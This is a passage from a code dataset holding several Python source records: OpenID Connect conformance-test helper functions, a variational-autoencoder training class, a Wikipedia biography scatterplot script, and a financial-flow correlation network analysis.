\"export/\", 'w')\n f.write(json.dumps(ruris))\n f.close()\n\n sector_identifier_url = \"%s%s%s\" % (_base, \"export/\", \"siu.json\")\n oper.req_args[\"sector_identifier_uri\"] = sector_identifier_url\n\n\ndef set_expect_error(oper, args):\n oper.expect_error = args\n\n\ndef id_token_hint(oper, kwargs):\n res = get_id_tokens(oper.conv)\n\n try:\n res.extend(oper.conv.cache[\"id_token\"])\n except (KeyError, ValueError):\n pass\n\n idt, jwt = res[0]\n oper.req_args[\"id_token_hint\"] = jwt\n\n\ndef login_hint(oper, args):\n _iss = oper.conv.entity.provider_info[\"issuer\"]\n p = urlparse(_iss)\n try:\n hint = oper.conv.entity_config[\"login_hint\"]\n except KeyError:\n hint = \"buffy@%s\" % p.netloc\n else:\n if \"@\" not in hint:\n hint = \"%s@%s\" % (hint, p.netloc)\n\n oper.req_args[\"login_hint\"] = hint\n\n\ndef ui_locales(oper, args):\n try:\n uil = oper.conv.entity_config[\"ui_locales\"]\n except KeyError:\n try:\n uil = oper.conv.entity_config[\"locales\"]\n except KeyError:\n uil = [\"se\"]\n\n oper.req_args[\"ui_locales\"] = uil\n\n\ndef claims_locales(oper, args):\n try:\n loc = oper.conv.entity_config[\"claims_locales\"]\n except KeyError:\n try:\n loc = oper.conv.entity_config[\"locales\"]\n except KeyError:\n loc = [\"se\"]\n\n oper.req_args[\"claims_locales\"] = loc\n\n\ndef acr_value(oper, args):\n try:\n acr = oper.conv.entity_config[\"acr_value\"]\n except KeyError:\n try:\n acr = oper.conv.entity.provider_info[\"acr_values_supported\"]\n except (KeyError, AttributeError):\n acr = [\"1\", \"2\"]\n\n oper.req_args[\"acr_values\"] = acr\n\n\ndef specific_acr_claims(oper, args):\n try:\n _acrs = oper.conv.entity_config[\"acr_values\"]\n except KeyError:\n _acrs = [\"2\"]\n\n oper.req_args[\"claims\"] = {\"id_token\": {\"acr\": {\"values\": _acrs}}}\n\n\ndef sub_claims(oper, args):\n res = get_id_tokens(oper.conv)\n try:\n res.extend(oper.conv.cache[\"id_token\"])\n except (KeyError, ValueError):\n pass\n idt, _ = res[-1]\n _sub = idt[\"sub\"]\n oper.req_args[\"claims\"] = {\"id_token\": {\"sub\": {\"value\": _sub}}}\n\n\ndef multiple_return_uris(oper, args):\n redirects = get_redirect_uris(oper.conv)\n redirects.append(\"%scb\" % get_base(oper.conv.entity_config))\n oper.req_args[\"redirect_uris\"] = redirects\n\n\ndef redirect_uris_with_query_component(oper, kwargs):\n ru = get_redirect_uris(oper.conv)[0]\n ru += \"?%s\" % urlencode(kwargs)\n oper.req_args[\"redirect_uris\"] = ru\n\n\ndef redirect_uris_with_fragment(oper, kwargs):\n ru = get_redirect_uris(oper.conv)[0]\n ru += \"#\" + \".\".join([\"%s%s\" % (x, y) for x, y in list(kwargs.items())])\n oper.req_args[\"redirect_uris\"] = ru\n\n\ndef request_in_file(oper, kwargs):\n oper.opargs[\"base_path\"] = get_base(oper.conv.entity_config) + \"export/\"\n\n\ndef resource(oper, args):\n _p = urlparse(oper.conv.conf.ISSUER)\n oper.op_args[\"resource\"] = args[\"pattern\"].format(oper.conv.test_id,\n _p.netloc)\n\n\ndef expect_exception(oper, args):\n oper.expect_exception = args\n\n\ndef conditional_expect_exception(oper, args):\n condition = args[\"condition\"]\n exception = args[\"exception\"]\n\n res = True\n for key in list(condition.keys()):\n try:\n assert oper.req_args[key] in condition[key]\n except KeyError:\n pass\n except AssertionError:\n res = False\n\n try:\n if res == args[\"oper\"]:\n oper.expect_exception = exception\n except KeyError:\n if res is True:\n oper.expect_exception = exception\n\n\ndef set_jwks_uri(oper, args):\n oper.req_args[\"jwks_uri\"] = oper.conv.entity.jwks_uri\n\n\ndef check_endpoint(oper, args):\n try:\n _ = oper.conv.entity.provider_info[args]\n except KeyError:\n oper.conv.events.store(\n EV_CONDITION,\n State(\"check_endpoint\", status=ERROR,\n message=\"{} not in provider configuration\".format(args)))\n oper.skip = True\n\n\ndef cache_response(oper, arg):\n key = oper.conv.test_id\n oper.cache[key] = oper.conv.events.last_item(EV_RESPONSE)\n\n\ndef restore_response(oper, arg):\n key = oper.conv.test_id\n if oper.conv.events[EV_RESPONSE]:\n _lst = oper.cache[key][:]\n for x in oper.conv.events[EV_RESPONSE]:\n if x not in _lst:\n oper.conv.events.append(_lst)\n else:\n oper.conv.events.extend(oper.cache[key])\n\n del oper.cache[key]\n\n\ndef skip_operation(oper, arg):\n if oper.profile[0] in arg[\"flow_type\"]:\n oper.skip = True\n\n\ndef rm_claim_from_assertion(oper, arg):\n pass\n\n\ndef set_req_arg_token(oper, arg):\n oper.req_args[\"token_type_hint\"] = arg\n oper.req_args['token'] = getattr(oper._token, arg)\n\n\ndef modify_redirect_uri(oper, arg):\n ru = oper.conv.entity.redirect_uris[0]\n p = urlparse(ru)\n oper.req_args['redirect_uri'] = '{}://{}/{}'.format(p.scheme, p.netloc, arg)\n\n\ndef add_software_statement(oper, arg):\n argkeys = list(arg.keys())\n kwargs = {}\n\n tre = oper.conf.TRUSTED_REGISTRATION_ENTITY\n iss = tre['iss']\n kb = KeyBundle()\n kb.imp_jwks = json.load(open(tre['jwks']))\n kb.do_keys(kb.imp_jwks['keys'])\n oper.conv.entity.keyjar.add_kb(iss, kb)\n\n if arg['redirect_uris'] is None:\n kwargs['redirect_uris'] = oper.conv.entity.redirect_uris\n else:\n kwargs['redirect_uris'] = arg['redirect_uris']\n argkeys.remove('redirect_uris')\n\n if 'jwks_uri' in argkeys:\n if arg['jwks_uri'] is None:\n kwargs['jwks_uri'] = oper.conv.entity.jwks_uri\n else:\n kwargs['jwks_uri'] = arg['jwks_uri']\n argkeys.remove('jwks_uri')\n elif 'jwks' in argkeys:\n if arg['jwks'] is None:\n kwargs['jwks'] = {\n \"keys\": oper.conv.entity.keyjar.dump_issuer_keys(\"\")}\n else:\n kwargs['jwks'] = arg['jwks']\n argkeys.remove('jwks')\n\n for a in argkeys:\n kwargs[a] = arg[a]\n\n oper.req_args['software_statement'] = make_software_statement(\n oper.conv.entity.keyjar, iss=iss, owner=iss, **kwargs)\n\n\ndef factory(name):\n for fname, obj in inspect.getmembers(sys.modules[__name__]):\n if inspect.isfunction(obj):\n if fname == name:\n return obj\n\n return None\n", "sub_path": "src/otest/func.py", "file_name": "func.py", "file_ext": "py", "file_size_in_byte": 11680, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "otest.tool.get_redirect_uris", "line_number": 127, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlencode", "line_number": 128, "usage_type": "call"}, {"api_name": "otest.events.EV_CONDITION", "line_number": 151, "usage_type": "argument"}, {"api_name": "otest.check.State", "line_number": 152, "usage_type": "call"}, {"api_name": "otest.ConfigurationError", "line_number": 160, "usage_type": "call"}, {"api_name": "otest.tool.get_redirect_uris", "line_number": 164, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlparse", "line_number": 165, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlparse", "line_number": 180, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlparse", "line_number": 182, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 213, "usage_type": "call"}, {"api_name": "otest.check.get_id_tokens", "line_number": 225, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlparse", "line_number": 238, "usage_type": "call"}, {"api_name": "otest.check.get_id_tokens", "line_number": 296, "usage_type": "call"}, {"api_name": "otest.tool.get_redirect_uris", "line_number": 307, "usage_type": "call"}, {"api_name": "otest.tool.get_redirect_uris", "line_number": 313, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlencode", "line_number": 314, "usage_type": "call"}, {"api_name": "otest.tool.get_redirect_uris", "line_number": 319, "usage_type": "call"}, {"api_name": "future.backports.urllib.parse.urlparse", "line_number": 329, "usage_type": "call"}, {"api_name": "otest.events.EV_CONDITION", "line_number": 368, "usage_type": "argument"}, {"api_name": "otest.check.State", "line_number": 369, "usage_type": "call"}, {"api_name": "otest.check.ERROR", "line_number": 369, "usage_type": "name"}, {"api_name": "otest.events.EV_RESPONSE", "line_number": 376, "usage_type": "argument"}, {"api_name": "otest.events.EV_RESPONSE", "line_number": 381, "usage_type": "name"}, {"api_name": "otest.events.EV_RESPONSE", "line_number": 383, "usage_type": "name"}, {"api_name": "future.backports.urllib.parse.urlparse", "line_number": 408, "usage_type": "call"}, {"api_name": "oic.utils.keyio.KeyBundle", "line_number": 418, "usage_type": "call"}, {"api_name": "json.load", "line_number": 419, "usage_type": "call"}, {"api_name": "oic.extension.message.make_software_statement", "line_number": 446, "usage_type": "call"}, {"api_name": "inspect.getmembers", "line_number": 451, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 451, "usage_type": "attribute"}, {"api_name": "inspect.isfunction", "line_number": 452, "usage_type": "call"}]} {"seq_id": "87642048", "text": "\n\n# coding: utf-8\n\n'''\n\tCodded By : \n\n █ █░ ██▓ ██▓ ▓█████▄ ▒█████ ███▄ █ ██▓ ▒█████ ███▄ █ \n▓█░ █ ░█░▓██▒▓██▒ ▒██▀ ██▌▒██▒ ██▒ ██ ▀█ █ ▓██▒▒██▒ ██▒ ██ ▀█ █ \n▒█░ █ ░█ ▒██▒▒██░ ░██ █▌▒██░ ██▒▓██ ▀█ ██▒▒██▒▒██░ ██▒▓██ ▀█ ██▒\n░█░ █ ░█ ░██░▒██░ ░▓█▄ ▌▒██ ██░▓██▒ ▐▌██▒░██░▒██ ██░▓██▒ ▐▌██▒\n░░██▒██▓ ░██░░██████▒░▒████▓ ░ ████▓▒░▒██░ ▓██░░██░░ ████▓▒░▒██░ ▓██\n\n\n\n --------------------------------------------\n| \t trainer class\n| -------------------------------------------\n| extract the latent space of training data\n| using variational autoencoder \n|\n| access granted for : dataloader_ object\n| save\t\t\t\t : save the trained model\n| load : load existing model if there is\n| train : train the model on dataloader objcet\n| __call__ : get the latent space of the data\n| decode : decode the input data\n| recons\t : reconstruction of input data\n| \n\n'''\n\n\nfrom ._vae import VAE\nimport numpy as np\nimport os\nimport sys\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.optim as optim\nfrom torch.autograd import Variable\n\n\nMODEL_PATH = os.path.dirname(os.path.abspath(__file__)) + '/utils/pc_model_vae.pth' \n\nclass trainer():\n\n\tdef __init__(self, data, device, latent_dim=2, epoch=30):\n\t\t\n\t\tcuda = torch.cuda.is_available() if device is 'cuda' else None\n\t\tself.__device = torch.device(\"cuda\" if cuda else \"cpu\")\n\t\ttorch.backends.cudnn.benchmark = True\n\n\t\tif data is not None and type(data) is torch.utils.data.dataloader.DataLoader:\n\t\t\tself.dataloader_ = data\n\t\telse:\n\t\t\tprint(\"[?] please specify a training pytorch dataloader object for training VAE model.\") \n\t\t\tsys.exit(1)\n\n\n\t\tself.epoch = epoch\n\t\tself.loss_tracker = []\n\t\tself.loss = 0.0\n\n\t\tprint(\"\\n________dataset information during extracting features using VAE________\\n\")\n\t\tprint(f\"{self.dataloader_.dataset}\\n\")\n\n\t\tif os.path.exists(MODEL_PATH):\n\t\t\tprint(\"\\n________found existing pre-trained VAE model________\\n\")\n\t\t\tself.__load(latent_dim=latent_dim)\n\n\n\t\telse:\n\t\t\t# -------------------------------------------------\n\t\t\t# training Variational Autoencoder Model\n\t\t\t# -------------------------------------------------\n\t\t\tprint(\"\\n________found no existing pre-trained model________\\n\")\n\t\t\tprint(f\"\\t➢ training on latent space using VAE on {self.__device}\\n\")\n\n\n\t\t\tif self.epoch > 40:\n\t\t\t\tprint(\"[?] please specify an epoch < 40 or at most 40.\")\n\t\t\t\tsys.exit(1)\n\t\t\telse:\n\t\t\t\tself.vae_model = VAE(pc_features=self.__show_sample().shape[1], latent_dim=latent_dim).to(self.__device)\n\t\t\t\tself.__train(log_interval=500)\n\n\n\n\tdef __train(self, log_interval):\n\t\tself.optimizer = torch.optim.Adam(self.vae_model.parameters(), lr=1e-3)\n\t\tfor e in range(self.epoch):\n\t\t\tself.vae_model.train()\n\t\t\tfor i_batch, sample_batch in enumerate(self.dataloader_):\n\t\t\t\tself.optimizer.zero_grad()\n\t\t\t\treconstructed_batch, mu, log_variance = self.vae_model(sample_batch.float().to(self.__device))\n\t\t\t\tself.loss = self.vae_model.loss(reconstructed_batch, sample_batch, mu, log_variance)\n\t\t\t\tself.loss.backward() # calculate the gradient using computational graph for all weights\n\t\t\t\tself.optimizer.step() # update weights and other parameters like biases\n\t\t\t\tif (i_batch % log_interval == 0) and (e % 10 == 0):\n\t\t\t\t\tprint(\"\\t\\tEpoch: {} [{}/{}]\\tLoss: {:.6f}\".format(e, i_batch, len(self.dataloader_), self.loss.data/len(sample_batch)))\n\t\t\tself.loss_tracker.append(self.loss.data)\n\t\t\tprint(f\"\\t\\t=====> Epoch: {e} done! - Batch shape: {sample_batch.shape}\")\n\n\t\tcheckpoint = {\n\t\t\t'model_state_dict': self.vae_model.state_dict(),\n\t\t\t'optimizer_state_dict': self.optimizer.state_dict(),\n\t\t\t'epoch': e+1,\n\t\t\t'loss': self.loss,\n\t\t\t'loss_tracker': self.loss_tracker\n\t\t}\n\t\t\n\t\tself.__save(checkpoint=checkpoint)\n\n\n\tdef __show_sample(self):\n\t\tbatch_index = torch.randint(len(self.dataloader_), (1,), device=self.__device)[0]\n\t\tfor i_batch, sample_batch in enumerate(self.dataloader_):\n\t\t\tif i_batch == batch_index:\n\t\t\t\tbreak\n\t\treturn sample_batch\n\n\n\tdef __save(self, checkpoint):\n\t\t\n\t\ttry:\n\t\t\tprint(\"\\n________saving trained VAE model________\\n\")\n\t\t\ttorch.save(checkpoint, MODEL_PATH)\n\t\t\tprint(f\"\\t➢ saved VAE model info at {MODEL_PATH}________\\n\")\n\t\texcept IOError:\n\t\t\tprint(f\"\\t➢ can't save VAE model at : {MODEL_PATH}\\n\")\n\n\n\tdef __load(self, latent_dim):\n\t\ttry:\n\t\t\tcheckpoint = torch.load(MODEL_PATH)\n\t\t\tprint(f\"\\t➢ loaded pre-trained model from {MODEL_PATH}\\n\")\n\t\texcept IOError:\n\t\t\tprint(f\"\\t➢ can't load pre-trained model from : {MODEL_PATH}\\n\")\n\n\t\t\n\t\tself.vae_model = VAE(pc_features=self.__show_sample().shape[1], latent_dim=latent_dim).to(self.__device)\n\t\tself.vae_model.load_state_dict(checkpoint['model_state_dict'])\n\t\t\n\t\tself.optimizer = optim.Adam(self.vae_model.parameters(), lr=1e-3)\n\t\tself.optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n\n\t\tself.epoch = checkpoint['epoch']\n\t\tself.loss = checkpoint['loss']\n\t\tself.loss_tracker = checkpoint['loss_tracker']\n\n\t\tself.vae_model.eval()\n\n\tdef __call__(self, data):\n\t\t'''\n\t\t\tdata -> encode -> mu, log_variance -> reparam\n\t\t\treturn : numpyndarray\n\t\t'''\n\t\tdata = Variable(torch.from_numpy(data), requires_grad=False)\n\t\tself.vae_model.eval()\n\t\treturn self.vae_model.get_latent_z(data.float()).data.numpy()\n\n\tdef decode(self, latent):\n\t\t'''\n\t\t\treparam -> decode\n\t\t\treturn : pytorch tensor \n\t\t'''\n\t\tlatent = Variable(torch.from_numpy(latent), requires_grad=False)\n\t\trp = self.vae_model.decode(latent.float())\n\t\treturn rp\n\n\tdef recons(self, data):\n\t\t'''\n\t\t\tdata -> encode -> mu, log_variance -> reparam -> decode\n\t\t\tthis method is the combination of decode and __call__ method.\n\t\t\treturn : pytorch tensor\n\t\t'''\n\t\tself.vae_model.eval()\n\t\tdata = torch.from_numpy(data)\n\t\tdata = Variable(data, requires_grad=False)\n\t\treconstructed_batch, mu, log_variance = self.vae_model(data.float().to(self.__device))\n\t\treturn reconstructed_batch, mu, log_variance\n\n\tdef plot_loss(self):\n\t\tprint(\"\\n________plotting VAE model training loss________\\n\")\n\t\tfig_path = os.path.dirname(os.path.abspath(__file__))+'/utils/pc_model_loss.png'\n\t\tplt.figure()\n\t\tplt.plot(np.array(self.loss_tracker), label='loss')\n\t\tplt.xlabel('epoch', fontsize=10)\n\t\tplt.ylabel('loss', fontsize=10)\n\t\tplt.legend()\n\t\tplt.savefig(fig_path)\n\t\tprint(f\"\\t➢ plot saved at {fig_path}\\n\")\n", "sub_path": "infra/position_clustering/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 6783, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.utils", "line_number": 54, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 83, "usage_type": "call"}, {"api_name": "_vae.VAE", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.randint", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 136, "usage_type": "call"}, {"api_name": "_vae.VAE", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 145, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}]} {"seq_id": "314771408", "text": "\"\"\"Make a scatterplot of male and female articles.\"\"\"\nimport wikibios\nfrom datetime import datetime\nfrom matplotlib import pyplot\n\nfigure = pyplot.figure()\n\n# get the current axes\naxes = figure.gca()\n\nfirstedits_male = wikibios.columns_male['firstedit']\nbirth_years_male = wikibios.columns_male['birth_year']\n\n# for articles about males, make a scatter plot of the first edit date vs birth year\n# label the plot with parameter keyword label='Male', make the points green and very\n# translucent (alpha=0.1).\naxes.scatter(firstedits_male, birth_years_male, alpha=0.1, c='green', edgecolors='None', label='Male')\n\nfirstedits_female = wikibios.columns_female['firstedit']\nbirth_years_female = wikibios.columns_female['birth_year']\naxes.scatter(firstedits_female, birth_years_female, alpha=0.1, c='orange', edgecolors='None', label='Female')\naxes.set_xlabel('Article Date')\naxes.set_ylabel('Birth Year')\n\n# legend() displays the legend made up of the labels specified above.\naxes.legend()\n\nfigure.savefig('scatter.png')\n\n", "sub_path": "scatterplot.py", "file_name": "scatterplot.py", "file_ext": "py", "file_size_in_byte": 1016, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "wikibios.columns_male", "line_number": 11, "usage_type": "attribute"}, {"api_name": "wikibios.columns_male", "line_number": 12, "usage_type": "attribute"}, {"api_name": "wikibios.columns_female", "line_number": 19, "usage_type": "attribute"}, {"api_name": "wikibios.columns_female", "line_number": 20, "usage_type": "attribute"}]} {"seq_id": "240601323", "text": "\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport networkx as nx\nfrom scipy.stats import wishart, gamma\nfrom math import pi\nfrom sklearn import preprocessing\n\n\n\n\n#import data\n\nos.chdir('/home/david/Dropbox/3. MSc/Statistik Seminar/Graphical-Network-Models-for-Financial-Flows')\n\nfrom src.lib import static_network_calculation\nfrom src.lib import graph_decomposition\nfrom pgmpy.models import JunctionTree\nfrom src.lib import tools\n\n\n\n\ndf = pd.read_csv(os.getcwd() + '/data/raw/WEBSTATS_LBS_D_PUB_DATAFLOW_csv_col.csv')\n\n#print( df.head() )\n\n\n\n#cleaning dataframe\n\n#available countrys\n#print( np.unique( country ))\n\n\n#selection: see paper\nselected_countries = ['AT', 'BS', 'BH', 'BE', 'CA',\n 'KY', 'DK', 'FI', 'FR', 'DE',\n 'HK', 'IE', 'IT', 'JP', 'LU',\n 'NL', 'AN', 'NO', 'SG', 'ES',\n 'SE', 'CH', 'GB', 'US']\n\n\n\n#select only selected_countries that transfer money to selected countries\nif True:\n\tdf = df[ df['L_REP_CTY'].isin(selected_countries) &\n\t\tdf['L_CP_COUNTRY'].isin(selected_countries) ]\n\n\n#select only cross border fincancial flows and only all sector in Counterparty sector\n#\ndf = df[ (df['L_POS_TYPE']=='N') & ( df['Counterparty sector']=='All sectors')\n & (df['Type of instruments']=='All instruments') & (df['L_MEASURE']== 'F')\n\t&(df['Balance sheet position']=='Total liabilities') ]\n\n\n#subset on time scale\ndf = df.iloc[:, list(range(0,24)) + list(range(df.columns.get_loc(\"1983-Q4\"),\n\t\tdf.columns.get_loc(\"2011-Q3\")+1)) ]\n\n#check if data is complete\n#df['L_REP_CTY'].value_counts()\n#df['L_REP_CTY'].unique().shape\n\n\n\n\ndf.to_csv('data/intermediate/cleaned_data.csv', sep = \",\")\n\n\n#aggregate data by row wise summation for each country\ndf_aggr_sum = df.groupby(['L_REP_CTY'], as_index=True)[df.filter(like='Q').columns].sum()\n\n\n\n\n#plot missing values\nplt.clf()\ndf_missing = df_aggr_sum.transpose()\nmissing = df_missing.isnull().sum()\nmissing.plot(kind = 'bar')\nplt.xlabel('country')\nplt.ylabel('number of missing values')\nplt.title('number of missing values per country')\nplt.savefig('results/outputs/missing_value_statistics.png')\nplt.show()\n\n\n\n#omit countries where no data is available\n#partially complete data\ndf_partial = df_aggr_sum.dropna(axis = 0, how = 'all')\n\n#complete data\ndf_complete = df_aggr_sum.dropna(axis = 0, how = 'any')\n\n\n\n\n\n#test whether data is normally distributed\nfrom scipy.stats.mstats import normaltest\nk2, p_values = normaltest(df_complete, axis = 1)\n#add nodenames for p_values\ndf_test_statistic = pd.DataFrame(p_values, columns=['p-value'], index = df_complete.index)\ndf_test_statistic['test-statistic'] = np.asarray(k2)\ndf_test_statistic.iloc[:,0] = df_test_statistic.iloc[:,0].round(4)\ndf_test_statistic.iloc[:,1] = df_test_statistic.iloc[:,1].round(4)\ndf_test_statistic.to_csv(os.getcwd()+'/results/outputs/presentation/normal_test_before.csv')\n\n\n#output preprocessed data to file\n\n\n\n#transform time series so that it is normally distributed\n#take log difference\n#add constant value to data series so every value becomes positive\nlag = 1\ndef log_lag_transform(series, lag):\n\treturn np.log(series +100000000).diff(periods = lag) #+2000 necessary so that log can be performed (nonnegative values required)\n\nlist_series = [log_lag_transform(df_complete.loc[i,:], lag = 1) for i in df_complete.index]\n\ndf_complete_transformed = pd.DataFrame()\n\nfor i in range(0, len(list_series)):\n\tdf_complete_transformed = df_complete_transformed.append(list_series[i])\n\n#remove the columns with na\ndf_complete_transformed = df_complete_transformed.dropna(axis=1)\n\n\n#scale data series\ndf_complete_transformed = tools.scale_input_matrix(df_complete_transformed)\n\n\n#test for normality after transformation\nk2, p_values = normaltest(df_complete_transformed, axis = 1)\n#add nodenames for p_values\ndf_test_statistic = pd.DataFrame(p_values, columns=['p-value'], index = df_complete.index)\ndf_test_statistic['test-statistic'] = np.asarray(k2)\ndf_test_statistic.iloc[:,0] = df_test_statistic.iloc[:,0].round(4)\ndf_test_statistic.iloc[:,1] = df_test_statistic.iloc[:,1].round(4)\ndf_test_statistic.to_csv(os.getcwd()+'/results/outputs/presentation/normal_test_after_transform.csv')\n\n\n\ndf_complete.to_csv(os.getcwd() +'/data/intermediate/complete_preprocessed_data.csv')\n\n#partial complete data\n# from sklearn.preprocessing import Imputer\n# imp = Imputer(strategy=\"mean\", axis=0) #impute missing values\n# df_partial = pd.DataFrame(imp.fit_transform(df_partial), columns= df_partial.columns, index = df_partial.index)\n# df_partial = tools.scale_input_matrix(df_partial)\ndf_partial.to_csv(os.getcwd() +'/data/intermediate/partially_preprocessed_data.csv')\n\n\n\n\n\nX = df_complete.transpose()\n\nfull_node_names = ['Belgiun', 'Switzerland', 'Germany', 'Denmark', 'France',\n 'United Kingdom', 'Ireland', 'Japan', 'Luxenburg', 'Netherlands',\n 'Sweden', 'United States']\n# full_node_names = ['Bahamas', 'Finland', 'France', 'Hong Kong', 'Bahrain', 'Cayman Islands', 'Denmark',\n# 'Ireland', 'Austria', 'Belgium', 'Canada', 'Germany']\n\n# #write covariance matrix to file\n# df_cov = X.cov()\n# df_cov.to_csv(os.getcwd() +'/data/intermediate/sample_covariance_matrix.csv')\n\n\n\n#output cleaned data to csv file\n#X.to_csv('data/intermediate/preprocessed_data.csv', sep = \",\")\nmarginal_correlation_matrix = static_network_calculation.calculate_marginal_correlation_matrix(X)\n\npartial_correlation_matrix = static_network_calculation.calculate_partial_correlation_matrix(X)\n\n\n\n\n\n#plotting covariance matrix as network graph\nadjacency_matrix_marginal = static_network_calculation.calculate_adjacency_matrix(marginal_correlation_matrix)\nadjacency_matrix_partial = static_network_calculation.calculate_adjacency_matrix(partial_correlation_matrix)\n\n\n\n#create graph for marginal correlation analysis\nG_marginal = nx.from_numpy_matrix(adjacency_matrix_marginal)\nmapping = dict(zip(list( range(0,len(selected_countries)) ), selected_countries)) #rename nodes\nG_marginal = nx.relabel_nodes(G_marginal,mapping)\n\n\n#plotting graph\n# image = static_network_calculation.show_graph_with_labels(G)\n# image.savefig('results/outputs/example_network_structure.png')\n\n\n# print( nx.connected_components(G) )\n\n# sorted(nx.degree(G).values())\n\n\n\n\n#development of a systemic risk measure\n#calculate eigenvector centrality -> calculates the importance of a node in a network\neigenvector_centrality =static_network_calculation.nx.eigenvector_centrality(G_marginal)\n#assign eigenvector centrality as attribute to the nodes in the graph\nnx.set_node_attributes(G_marginal, 'eigenvector_centrality', eigenvector_centrality)\ncolor_values = list( range(0,len(G_marginal.nodes() )))\nnodes_dict = dict(zip(G_marginal.nodes(), full_node_names))\n\n#plot graph with different node size dependent on eigenvector centrality\nplt.clf()\nnx.draw_networkx(G_marginal, node_size=[v * 5000 for v in eigenvector_centrality.values()], with_labels=True,\n node_color=color_values, alpha = 0.9, edge_color='b', cmap=plt.get_cmap('Dark2'), labels = nodes_dict)\nplt.axis('off')\nplt.title('marginal correlation graph')\nplt.savefig('results/outputs/marginal_correlation_graph.png')\nplt.show()\n\n\n\n#output preprocessed graph\nnx.write_adjlist(G_marginal, path = os.getcwd() + '/data/intermediate/marginal_adjacency.txt', encoding='utf-8')\n\n\n\n\n\n\n\n\n\n\n#output partial correlation graph\nG_partial = nx.from_numpy_matrix(adjacency_matrix_partial)\nmapping = dict(zip(list( range(0,len(selected_countries)) ), selected_countries)) #rename nodes\nG_partial = nx.relabel_nodes(G_partial,mapping)\n\n\n#plotting graph\n# image = static_network_calculation.show_graph_with_labels(G_partial)\n# image.savefig('results/outputs/example_network_structure_partial.png')\n\n\n\n\n\n\n#development of a systemic risk measure\n#calculate eigenvector centrality -> calculates the importance of a node in a network\neigenvector_centrality =static_network_calculation.nx.eigenvector_centrality(G_partial)\n#assign eigenvector centrality as attribute to the nodes in the graph\nnx.set_node_attributes(G_partial, 'eigenvector_centrality', eigenvector_centrality)\n\n#plot graph with different node size dependent on eigenvector centrality\ncolor_values = list( range(0,len(G_partial.nodes() )))\n\n\nnodes_dict = dict(zip(G_partial.nodes(), full_node_names))\n\n\nplt.clf()\n#plt.figure(figsize=(20,10))\nnx.draw_networkx(G_partial, node_size=[v * 5000 for v in eigenvector_centrality.values()], with_labels=True,\n node_color=color_values, alpha = 0.9, edge_color='b', cmap=plt.get_cmap('Dark2'), labels = nodes_dict)\nplt.title('partial correlation graph')\nplt.axis('off')\nplt.savefig('results/outputs/partial_correlation_graph.png')\nplt.show()\n\n#output preprocessed graph\n# nx.write_adjlist(G_partial, path = os.getcwd() + '/data/intermediate/network_adjacency_partial.txt', encoding='utf-8')\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": 